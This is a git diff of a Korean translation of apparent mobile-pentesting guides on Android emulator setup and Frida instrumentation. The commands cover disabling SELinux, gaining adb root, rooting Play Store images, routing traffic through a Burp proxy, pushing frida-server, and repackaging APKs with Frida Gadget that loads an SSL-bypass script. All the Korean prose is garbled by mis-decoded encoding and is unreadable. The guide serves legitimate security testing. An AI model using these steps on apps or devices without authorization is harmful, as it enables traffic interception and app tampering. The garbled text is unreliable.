๋‚˜์—ด**ํ•˜๋ ค๋ฉด: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd @@ -143,52 +141,52 @@ Error: Google pixel_2 no longer exists as a device ### ๊ฐ€์ƒ ๋จธ์‹  ์‹คํ–‰ > [!WARNING] -> macOS์˜ ๊ฒฝ์šฐ, ์„ค์น˜๋˜์–ด ์žˆ๋‹ค๋ฉด `avdmanager` ๋„๊ตฌ๋ฅผ `/Users//Library/Android/sdk/tools/bin/avdmanager`์—์„œ, `emulator`๋ฅผ `/Users//Library/Android/sdk/emulator/emulator`์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +> macOS์—์„œ๋Š” `avdmanager` ๋„๊ตฌ๋ฅผ `/Users//Library/Android/sdk/tools/bin/avdmanager`์—์„œ, `emulator`๋Š” `/Users//Library/Android/sdk/emulator/emulator`์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์„ค์น˜๋œ ๊ฒฝ์šฐ). -์ƒ์„ฑ๋œ ๊ฐ€์ƒ ๋จธ์‹ ์„ ๋‚˜์—ดํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ์ด๋ฏธ ์‚ดํŽด๋ณด์•˜์ง€๋งŒ, **๋‹ค์Œ ๋ช…๋ น์„ ์‚ฌ์šฉํ•ด ๋‚˜์—ดํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค**: +์šฐ๋ฆฌ๋Š” ์ด๋ฏธ ์ƒ์„ฑ๋œ ๊ฐ€์ƒ ๋จธ์‹ ์„ ๋‚˜์—ดํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์•˜์ง€๋งŒ, **๋‹ค์Œ ๋ช…๋ น์„ ์‚ฌ์šฉํ•ด ๋‚˜์—ดํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค**: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds AVD9 Pixel_2_API_27 ``` -๋‹ค์Œ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ƒ์„ฑ๋œ **๋ชจ๋“  ๊ฐ€์ƒ ๋จธ์‹ ์„ ๊ฐ„๋‹จํžˆ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**: +๋‹ค์Œ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ƒ์„ฑ๋œ **๋ชจ๋“  ๊ฐ€์ƒ ๋จธ์‹ ์„ ๊ฐ„๋‹จํžˆ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:** ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName" C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" ``` -๋˜๋Š” ๋” ๊ณ ๊ธ‰ ์˜ต์…˜์„ ์‚ฌ์šฉํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฐ€์ƒ ๋จธ์‹ ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +๋˜๋Š” ๋” ๊ณ ๊ธ‰ ์˜ต์…˜์„ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฐ€์ƒ ๋จธ์‹ ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system ``` ### ๋ช…๋ น์ค„ ์˜ต์…˜ -ํ•˜์ง€๋งŒ VM์„ ์‹œ์ž‘ํ•  ๋•Œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” **๋‹ค์–‘ํ•œ ์œ ์šฉํ•œ ๋ช…๋ น์ค„ ์˜ต์…˜์ด ๋งŽ์ด ์žˆ์Šต๋‹ˆ๋‹ค**. ์•„๋ž˜์— ๋ช‡ ๊ฐ€์ง€ ํฅ๋ฏธ๋กœ์šด ์˜ต์…˜์„ ์ฐพ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ „์ฒด ๋ชฉ๋ก์€ [**์—ฌ๊ธฐ**](https://developer.android.com/studio/run/emulator-commandline)์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +ํ•˜์ง€๋งŒ ๊ฐ€์ƒ ๋จธ์‹ ์„ ์‹œ์ž‘ํ•  ๋•Œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์œ ์šฉํ•œ ๋ช…๋ น์ค„ ์˜ต์…˜์ด **๋งค์šฐ ๋งŽ์Šต๋‹ˆ๋‹ค**. ์•„๋ž˜์—๋Š” ๋ช‡ ๊ฐ€์ง€ ํฅ๋ฏธ๋กœ์šด ์˜ต์…˜์„ ์ •๋ฆฌํ–ˆ์œผ๋ฉฐ ์ „์ฒด ๋ชฉ๋ก์€ [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline) **Boot** -- `-snapshot name` : VM ์Šค๋ƒ…์ƒท์„ ์‹œ์ž‘ -- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : ๊ธฐ๋ก๋œ ๋ชจ๋“  ์Šค๋ƒ…์ƒท ๋‚˜์—ด +- `-snapshot name` : VM ์Šค๋ƒ…์ƒท ์‹œ์ž‘ +- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : ๊ธฐ๋ก๋œ ๋ชจ๋“  ์Šค๋ƒ…์ƒท์„ ๋‚˜์—ด **Network** -- `-dns-server 192.0.2.0, 192.0.2.255` : ์‰ผํ‘œ๋กœ ๊ตฌ๋ถ„๋œ DNS ์„œ๋ฒ„๋ฅผ VM์— ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Œ. -- **`-http-proxy 192.168.1.12:8080`** : ์‚ฌ์šฉํ•  HTTP ํ”„๋ก์‹œ๋ฅผ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Œ (Burp๋กœ ํŠธ๋ž˜ํ”ฝ์„ ์บก์ฒ˜ํ•  ๋•Œ ๋งค์šฐ ์œ ์šฉ) -- ํ”„๋ก์‹œ ์„ค์ •์ด ์–ด๋–ค ์ด์œ ๋กœ ์ž‘๋™ํ•˜์ง€ ์•Š์œผ๋ฉด, ๋‚ด๋ถ€์—์„œ ๊ตฌ์„ฑํ•˜๊ฑฐ๋‚˜ "Super Proxy"๋‚˜ "ProxyDroid" ๊ฐ™์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‚ฌ์šฉํ•ด๋ณด์„ธ์š”. -- `-netdelay 200` : ๋„คํŠธ์›Œํฌ ์ง€์—ฐ(์—๋ฎฌ๋ ˆ์ด์…˜)์„ ๋ฐ€๋ฆฌ์ดˆ ๋‹จ์œ„๋กœ ์„ค์ •. -- `-port 5556` : ์ฝ˜์†”๊ณผ adb์— ์‚ฌ์šฉ๋˜๋Š” TCP ํฌํŠธ ๋ฒˆํ˜ธ ์„ค์ •. -- `-ports 5556,5559` : ์ฝ˜์†”๊ณผ adb์— ์‚ฌ์šฉ๋˜๋Š” TCP ํฌํŠธ๋“ค ์„ค์ •. -- **`-tcpdump /path/dumpfile.cap`** : ๋ชจ๋“  ํŠธ๋ž˜ํ”ฝ์„ ํŒŒ์ผ๋กœ ์บก์ฒ˜ +- `-dns-server 192.0.2.0, 192.0.2.255` : ์‰ผํ‘œ๋กœ ๊ตฌ๋ถ„๋œ DNS ์„œ๋ฒ„๋“ค์„ VM์— ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- **`-http-proxy 192.168.1.12:8080`** : ์‚ฌ์šฉํ•  HTTP ํ”„๋ก์‹œ๋ฅผ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (ํŠธ๋ž˜ํ”ฝ์„ ์บก์ฒ˜ํ•  ๋•Œ Burp์™€ ํ•จ๊ป˜ ๋งค์šฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค) +- ํ”„๋ก์‹œ ์„ค์ •์ด ์–ด๋–ค ์ด์œ ๋กœ ์ž‘๋™ํ•˜์ง€ ์•Š์œผ๋ฉด, ๋‚ด๋ถ€์ ์œผ๋กœ ์„ค์ •ํ•˜๊ฑฐ๋‚˜ "Super Proxy" ๋˜๋Š” "ProxyDroid" ๊ฐ™์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‚ฌ์šฉํ•˜์—ฌ ๊ตฌ์„ฑํ•ด ๋ณด์„ธ์š”. +- `-netdelay 200` : ๋„คํŠธ์›Œํฌ ์ง€์—ฐ์„ ๋ฐ€๋ฆฌ์ดˆ ๋‹จ์œ„๋กœ ์—๋ฎฌ๋ ˆ์ด์…˜ํ•ฉ๋‹ˆ๋‹ค. +- `-port 5556` : ์ฝ˜์†”๊ณผ adb์— ์‚ฌ์šฉ๋˜๋Š” TCP ํฌํŠธ ๋ฒˆํ˜ธ๋ฅผ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. +- `-ports 5556,5559` : ์ฝ˜์†”๊ณผ adb์— ์‚ฌ์šฉ๋˜๋Š” TCP ํฌํŠธ๋ฅผ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. +- **`-tcpdump /path/dumpfile.cap`** : ๋ชจ๋“  ํŠธ๋ž˜ํ”ฝ์„ ํŒŒ์ผ๋กœ ์บก์ฒ˜ํ•ฉ๋‹ˆ๋‹ค **System** -- `-selinux {disabled|permissive}` : Linux ์šด์˜์ฒด์ œ์—์„œ Security-Enhanced Linux ๋ณด์•ˆ ๋ชจ๋“ˆ์„ disabled ๋˜๋Š” permissive ๋ชจ๋“œ๋กœ ์„ค์ •. -- `-timezone Europe/Paris` : ๊ฐ€์ƒ ๋””๋ฐ”์ด์Šค์˜ ์‹œ๊ฐ„๋Œ€ ์„ค์ • -- `-screen {touch(default)|multi-touch|o-touch}` : ์—๋ฎฌ๋ ˆ์ด์…˜๋œ ํ„ฐ์น˜ ์Šคํฌ๋ฆฐ ๋ชจ๋“œ ์„ค์ •. -- **`-writable-system`** : ์—๋ฎฌ๋ ˆ์ด์…˜ ์„ธ์…˜ ๋™์•ˆ ์‹œ์Šคํ…œ ์ด๋ฏธ์ง€๋ฅผ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๋ ค๋ฉด ์ด ์˜ต์…˜์„ ์‚ฌ์šฉํ•˜์„ธ์š”. ๋˜ํ•œ `adb root; adb remount`๋ฅผ ์‹คํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์‹œ์Šคํ…œ์— ์ƒˆ ์ธ์ฆ์„œ๋ฅผ ์„ค์น˜ํ•  ๋•Œ ๋งค์šฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. +- `-selinux {disabled|permissive}` : Linux ์šด์˜์ฒด์ œ์—์„œ Security-Enhanced Linux ๋ณด์•ˆ ๋ชจ๋“ˆ์„ disabled ๋˜๋Š” permissive ๋ชจ๋“œ๋กœ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. +- `-timezone Europe/Paris` : ๊ฐ€์ƒ ๋””๋ฐ”์ด์Šค์˜ ํƒ€์ž„์กด์„ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค +- `-screen {touch(default)|multi-touch|o-touch}` : ์—๋ฎฌ๋ ˆ์ด์…˜๋œ ํ„ฐ์น˜ ์Šคํฌ๋ฆฐ ๋ชจ๋“œ๋ฅผ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. +- **`-writable-system`** : ์ด ์˜ต์…˜์„ ์‚ฌ์šฉํ•˜๋ฉด ์—๋ฎฌ๋ ˆ์ด์…˜ ์„ธ์…˜ ๋™์•ˆ ์‹œ์Šคํ…œ ์ด๋ฏธ์ง€๋ฅผ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•˜๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค. ๋˜ํ•œ `adb root; adb remount`๋ฅผ ์‹คํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์‹œ์Šคํ…œ์— ์ƒˆ๋กœ์šด ์ธ์ฆ์„œ๋ฅผ ์„ค์น˜ํ•  ๋•Œ ๋งค์šฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. ## Linux CLI setup (SDK/AVD quickstart) -๊ณต์‹ CLI ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด Android Studio ์—†์ด๋„ ๋น ๋ฅด๊ณ  ๋””๋ฒ„๊น… ๊ฐ€๋Šฅํ•œ ์—๋ฎฌ๋ ˆ์ดํ„ฐ๋ฅผ ์‰ฝ๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +๊ณต์‹ CLI ๋„๊ตฌ๋กœ Android Studio ์—†์ด๋„ ๋น ๋ฅด๊ณ  ๋””๋ฒ„๊น… ๊ฐ€๋Šฅํ•œ ์—๋ฎฌ๋ ˆ์ดํ„ฐ๋ฅผ ์‰ฝ๊ฒŒ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ```bash # Directory layout mkdir -p ~/Android/cmdline-tools/latest @@ -216,12 +214,12 @@ emulator -avd PixelRootX86 -writable-system -snapshot PixelRootX86_snap adb root adb shell whoami # expect: root ``` -๋…ธํŠธ -- System image flavors: google_apis (๋””๋ฒ„๊ทธ ๊ฐ€๋Šฅ, allows `adb root`), google_apis_playstore (not rootable), aosp/default (lightweight). -- Build types: userdebug often allows `adb root` on debug-capable images. Play Store images are production builds and block root. -- On x86_64 hosts, full-system ARM64 emulation is unsupported from API 28+. For Android 11+ use Google APIs/Play images that include per-app ARM-to-x86 translation to run many ARM-only apps quickly. +์ฐธ๊ณ  +- ์‹œ์Šคํ…œ ์ด๋ฏธ์ง€ ์ข…๋ฅ˜: google_apis (๋””๋ฒ„๊น… ๊ฐ€๋Šฅ, adb root ํ—ˆ์šฉ), google_apis_playstore (root ๋ถˆ๊ฐ€), aosp/default (๊ฒฝ๋Ÿ‰). +- ๋นŒ๋“œ ์œ ํ˜•: userdebug๋Š” ๋””๋ฒ„๊ทธ ๊ฐ€๋Šฅ ์ด๋ฏธ์ง€์—์„œ ์ข…์ข… `adb root`๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. Play Store ์ด๋ฏธ์ง€๋Š” ํ”„๋กœ๋•์…˜ ๋นŒ๋“œ๋กœ ๋ฃจํŠธ ๊ถŒํ•œ์„ ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค. +- x86_64 ํ˜ธ์ŠคํŠธ์—์„œ๋Š” API 28+๋ถ€ํ„ฐ ์ „์ฒด ์‹œ์Šคํ…œ ARM64 ์—๋ฎฌ๋ ˆ์ด์…˜์ด ์ง€์›๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. Android 11+์˜ ๊ฒฝ์šฐ ๋งŽ์€ ARM ์ „์šฉ ์•ฑ์„ ๋น ๋ฅด๊ฒŒ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ์•ฑ๋ณ„ ARM-to-x86 ๋ณ€ํ™˜์„ ํฌํ•จํ•˜๋Š” Google APIs/Play ์ด๋ฏธ์ง€๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”. -### CLI์—์„œ์˜ ์Šค๋ƒ…์ƒท +### CLI์—์„œ ์Šค๋ƒ…์ƒท ```bash # Save a clean snapshot from the running emulator adb -s emulator-5554 emu avd snapshot save my_clean_setup @@ -231,22 +229,22 @@ emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup ``` ## ARMโ†’x86 ๋ฐ”์ด๋„ˆ๋ฆฌ ๋ณ€ํ™˜ (Android 11+) -Android 11+์˜ Google APIs ๋ฐ Play Store images๋Š” ์‹œ์Šคํ…œ์˜ ๋‚˜๋จธ์ง€ ๋ถ€๋ถ„์€ ๋„ค์ดํ‹ฐ๋ธŒ x86/x86_64๋กœ ์œ ์ง€ํ•˜๋ฉด์„œ ํ”„๋กœ์„ธ์Šค๋ณ„๋กœ ARM ์•ฑ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋ฒˆ์—ญํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋ฐ์Šคํฌํƒ‘์—์„œ ๋งŽ์€ ARM ์ „์šฉ ์•ฑ์„ ํ…Œ์ŠคํŠธํ•˜๊ธฐ์— ๋Œ€์ฒด๋กœ ์ถฉ๋ถ„ํžˆ ๋น ๋ฆ…๋‹ˆ๋‹ค. +Android 11+์˜ Google APIs ๋ฐ Play Store images๋Š” ์‹œ์Šคํ…œ์˜ ๋‚˜๋จธ์ง€๋ฅผ ๋„ค์ดํ‹ฐ๋ธŒ x86/x86_64๋กœ ์œ ์ง€ํ•˜๋ฉด์„œ ํ”„๋กœ์„ธ์Šค๋ณ„๋กœ ARM ์•ฑ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋ณ€ํ™˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋ฐ์Šคํฌํ†ฑ์—์„œ ๋งŽ์€ ARM-only ์•ฑ์„ ํ…Œ์ŠคํŠธํ•˜๊ธฐ์— ์ถฉ๋ถ„ํžˆ ๋น ๋ฅธ ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค. -> ํŒ: pentests ๋™์•ˆ Google APIs x86/x86_64 images๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. Play images๋Š” ํŽธํ•˜์ง€๋งŒ `adb root`์„ ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค; Play services๊ฐ€ ๊ผญ ํ•„์š”ํ•˜๊ณ  root๊ฐ€ ์—†๋Š” ๊ฒƒ์„ ๋ฐ›์•„๋“ค์ผ ๋•Œ๋งŒ ์‚ฌ์šฉํ•˜์„ธ์š”. +> ํŒ: pentests ๋™์•ˆ Google APIs x86/x86_64 images๋ฅผ ์„ ํ˜ธํ•˜์„ธ์š”. Play images๋Š” ํŽธ๋ฆฌํ•˜์ง€๋งŒ `adb root`๋ฅผ ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค; Play services๊ฐ€ ๋ฐ˜๋“œ์‹œ ํ•„์š”ํ•˜๊ณ  root๊ฐ€ ์—†๋‹ค๋Š” ๊ฒƒ์„ ์ˆ˜์šฉํ•  ๋•Œ๋งŒ ์‚ฌ์šฉํ•˜์„ธ์š”. -## Play Store ๊ธฐ๊ธฐ ๋ฃจํŒ… +## Play Store ๋””๋ฐ”์ด์Šค์˜ root ํš๋“ -Play Store๊ฐ€ ํฌํ•จ๋œ ๊ธฐ๊ธฐ๋ฅผ ๋‹ค์šด๋กœ๋“œํ–ˆ๋‹ค๋ฉด ์ง์ ‘ root๋ฅผ ์–ป์„ ์ˆ˜ ์—†์œผ๋ฉฐ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๊ฐ€ ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค +Play Store๊ฐ€ ํฌํ•จ๋œ ๋””๋ฐ”์ด์Šค๋ฅผ ๋‹ค์šด๋กœ๋“œํ•œ ๊ฒฝ์šฐ ์ง์ ‘์ ์œผ๋กœ root๋ฅผ ์–ป์„ ์ˆ˜ ์—†์œผ๋ฉฐ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๊ฐ€ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค ``` $ adb root adbd cannot run as root in production builds ``` -Using [rootAVD](https://github.com/newbit1/rootAVD) with [Magisk](https://github.com/topjohnwu/Magisk) [rootAVD]์™€ [Magisk]๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฃจํŒ…ํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค (์˜ˆ: [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **๋˜๋Š”** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)). +[rootAVD](https://github.com/newbit1/rootAVD)์™€ [Magisk](https://github.com/topjohnwu/Magisk)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ rootํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค (์˜ˆ: [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **๋˜๋Š”** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)). ## Burp ์ธ์ฆ์„œ ์„ค์น˜ -์‚ฌ์šฉ์ž ์ •์˜ CA ์ธ์ฆ์„œ๋ฅผ ์„ค์น˜ํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜์„ธ์š”: +๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜์—ฌ ์ปค์Šคํ…€ CA ์ธ์ฆ์„œ๋ฅผ ์„ค์น˜ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์•Œ์•„๋ณด์„ธ์š”: {{#ref}} @@ -257,7 +255,7 @@ install-burp-certificate.md ### ์Šค๋ƒ…์ƒท ์ฐ๊ธฐ -์–ธ์ œ๋“ ์ง€ VM์˜ ์Šค๋ƒ…์ƒท์„ **GUI๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ** ์ฐ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +์–ธ์ œ๋“ ์ง€ VM์˜ ์Šค๋ƒ…์ƒท์„ ์ฐ์œผ๋ ค๋ฉด **GUI๋ฅผ ์‚ฌ์šฉ**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ![](<../../images/image (234).png>) diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md index e141f07d0..8ddc32342 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md @@ -5,17 +5,17 @@ ## ์„ค์น˜ -๋‹ค์Œ ํ•ญ๋ชฉ์„ ์„ค์น˜ํ•˜์„ธ์š”: **frida tools** +๋‹ค์Œ์œผ๋กœ **frida tools**๋ฅผ ์„ค์น˜ํ•˜์„ธ์š”: ```bash pip install frida-tools pip install frida ``` -**๋‹ค์šด๋กœ๋“œ ๋ฐ ์„ค์น˜** ์•ˆ๋“œ๋กœ์ด๋“œ์— **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\ -adb๋ฅผ root ๋ชจ๋“œ๋กœ ์žฌ์‹œ์ž‘ํ•˜๊ณ  ์—ฐ๊ฒฐํ•œ ๋’ค frida-server๋ฅผ ์—…๋กœ๋“œํ•˜๊ณ  ์‹คํ–‰ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•œ ๋‹ค์Œ ๋ฐฑ๊ทธ๋ผ์šด๋“œ์—์„œ ์‹คํ–‰ํ•˜๋Š” ์›๋ผ์ด๋„ˆ: +Android์— **frida server**๋ฅผ **๋‹ค์šด๋กœ๋“œ ๋ฐ ์„ค์น˜**ํ•˜์„ธ์š” ([Download the latest release](https://github.com/frida/frida/releases)).\ +adb๋ฅผ root ๋ชจ๋“œ๋กœ ์žฌ์‹œ์ž‘ํ•˜๊ณ  ๊ธฐ๊ธฐ์— ์—ฐ๊ฒฐํ•œ ํ›„ frida-server๋ฅผ ์—…๋กœ๋“œํ•˜๊ณ  ์‹คํ–‰ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•œ ๋’ค ๋ฐฑ๊ทธ๋ผ์šด๋“œ์—์„œ ์‹คํ–‰ํ•˜๋Š” ํ•œ ์ค„ ๋ช…๋ น: ```bash adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &" ``` -**ํ™•์ธ**: ์ด๊ฒƒ์ด **์ž‘๋™**ํ•˜๋Š”์ง€: +**ํ™•์ธ**ํ•ด ๋ณด์„ธ์š”: ํ•ด๋‹น ํ•ญ๋ชฉ์ด **์ž‘๋™ํ•˜๋Š”์ง€** ```bash frida-ps -U #List packages and processes frida-ps -U | grep -i #Get all the package name @@ -24,8 +24,8 @@ frida-ps -U | grep -i #Get all the package name Frida๋กœ Android ์•ฑ์„ ๊ณ„์ธกํ•˜๋Š” ๋‘ ๊ฐ€์ง€ ์ผ๋ฐ˜์ ์ธ ๋ฐฉ๋ฒ•: -- Frida server (rooted devices): ๋„ค์ดํ‹ฐ๋ธŒ daemon์„ pushํ•˜๊ณ  ์‹คํ–‰ํ•˜์—ฌ ์–ด๋–ค process์—๋„ attachํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. -- Frida Gadget (no root): Frida๋ฅผ shared library๋กœ APK ๋‚ด๋ถ€์— ๋ฒˆ๋“คํ•˜๊ณ  target process ๋‚ด์—์„œ ์ž๋™์œผ๋กœ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค. +- Frida server (rooted devices): ์–ด๋–ค ํ”„๋กœ์„ธ์Šค์—๋„ attachํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋Š” ๋„ค์ดํ‹ฐ๋ธŒ ๋ฐ๋ชฌ์„ ํ‘ธ์‹œํ•˜๊ณ  ์‹คํ–‰ํ•œ๋‹ค. +- Frida Gadget (no root): Frida๋ฅผ ๊ณต์œ  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋กœ APK ๋‚ด๋ถ€์— ๋ฒˆ๋“คํ•˜๊ณ  ๋Œ€์ƒ ํ”„๋กœ์„ธ์Šค ๋‚ด์—์„œ ์ž๋™์œผ๋กœ ๋กœ๋“œํ•œ๋‹ค. Frida server (rooted) ```bash @@ -42,21 +42,21 @@ frida -U -n com.example.app ``` Frida Gadget (no-root) -1) APK์˜ ์••์ถ•์„ ํ’€๊ณ , gadget .so์™€ config๋ฅผ ์ถ”๊ฐ€: -- libfrida-gadget.so๋ฅผ lib//์— ๋ฐฐ์น˜ํ•˜์„ธ์š” (์˜ˆ: lib/arm64-v8a/) -- ์Šคํฌ๋ฆฝํŠธ ๋กœ๋”ฉ ์„ค์ •์„ ํฌํ•จํ•œ assets/frida-gadget.config ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜์„ธ์š” +1) APK์„ ์–ธํŒฉํ•˜๊ณ  gadget .so์™€ config๋ฅผ ์ถ”๊ฐ€ํ•˜์„ธ์š”: +- libfrida-gadget.so๋ฅผ lib// (์˜ˆ: lib/arm64-v8a/)์— ๋ฐฐ์น˜ํ•ฉ๋‹ˆ๋‹ค +- assets/frida-gadget.config ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜๊ณ  ์Šคํฌ๋ฆฝํŠธ ๋กœ๋“œ ์„ค์ •์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค -Example frida-gadget.config +์˜ˆ์‹œ frida-gadget.config ```json { "interaction": { "type": "script", "path": "/sdcard/ssl-bypass.js" }, "runtime": { "logFile": "/sdcard/frida-gadget.log" } } ``` -2) gadget์„ ์ฐธ์กฐ/๋กœ๋“œํ•˜์—ฌ ์กฐ๊ธฐ์— ์ดˆ๊ธฐํ™”๋˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค: -- ๊ฐ€์žฅ ์‰ฌ์šด ๋ฐฉ๋ฒ•: Application.onCreate()์— System.loadLibrary("frida-gadget")๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ์ž‘์€ Java ์Šคํ…์„ ์ถ”๊ฐ€ํ•˜๊ฑฐ๋‚˜, ์ด๋ฏธ ์กด์žฌํ•˜๋Š” ๋„ค์ดํ‹ฐ๋ธŒ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋กœ๋”ฉ์„ ์‚ฌ์šฉํ•˜์„ธ์š”. +2) gadget๋ฅผ ์ฐธ์กฐ/๋กœ๋“œํ•˜์—ฌ ์กฐ๊ธฐ์— ์ดˆ๊ธฐํ™”๋˜๋„๋ก: +- ๊ฐ€์žฅ ์‰ฌ์šด ๋ฐฉ๋ฒ•: Application.onCreate()์— System.loadLibrary("frida-gadget")๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ์ž‘์€ Java stub์„ ์ถ”๊ฐ€ํ•˜๊ฑฐ๋‚˜, ๊ธฐ์กด์˜ ๋„ค์ดํ‹ฐ๋ธŒ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋กœ๋”ฉ์„ ์‚ฌ์šฉํ•˜์„ธ์š”. -3) APK๋ฅผ ์žฌํŒจํ‚ค์ง•ํ•˜๊ณ  ์„œ๋ช…ํ•œ ๋‹ค์Œ ์„ค์น˜: +3) APK๋ฅผ ์žฌํŒจํ‚ค์ง•ํ•˜๊ณ  ์„œ๋ช…ํ•œ ํ›„ ์„ค์น˜: ```bash apktool d app.apk -o app_m # ... add gadget .so and config ... @@ -64,16 +64,16 @@ apktool b app_m -o app_gadget.apk 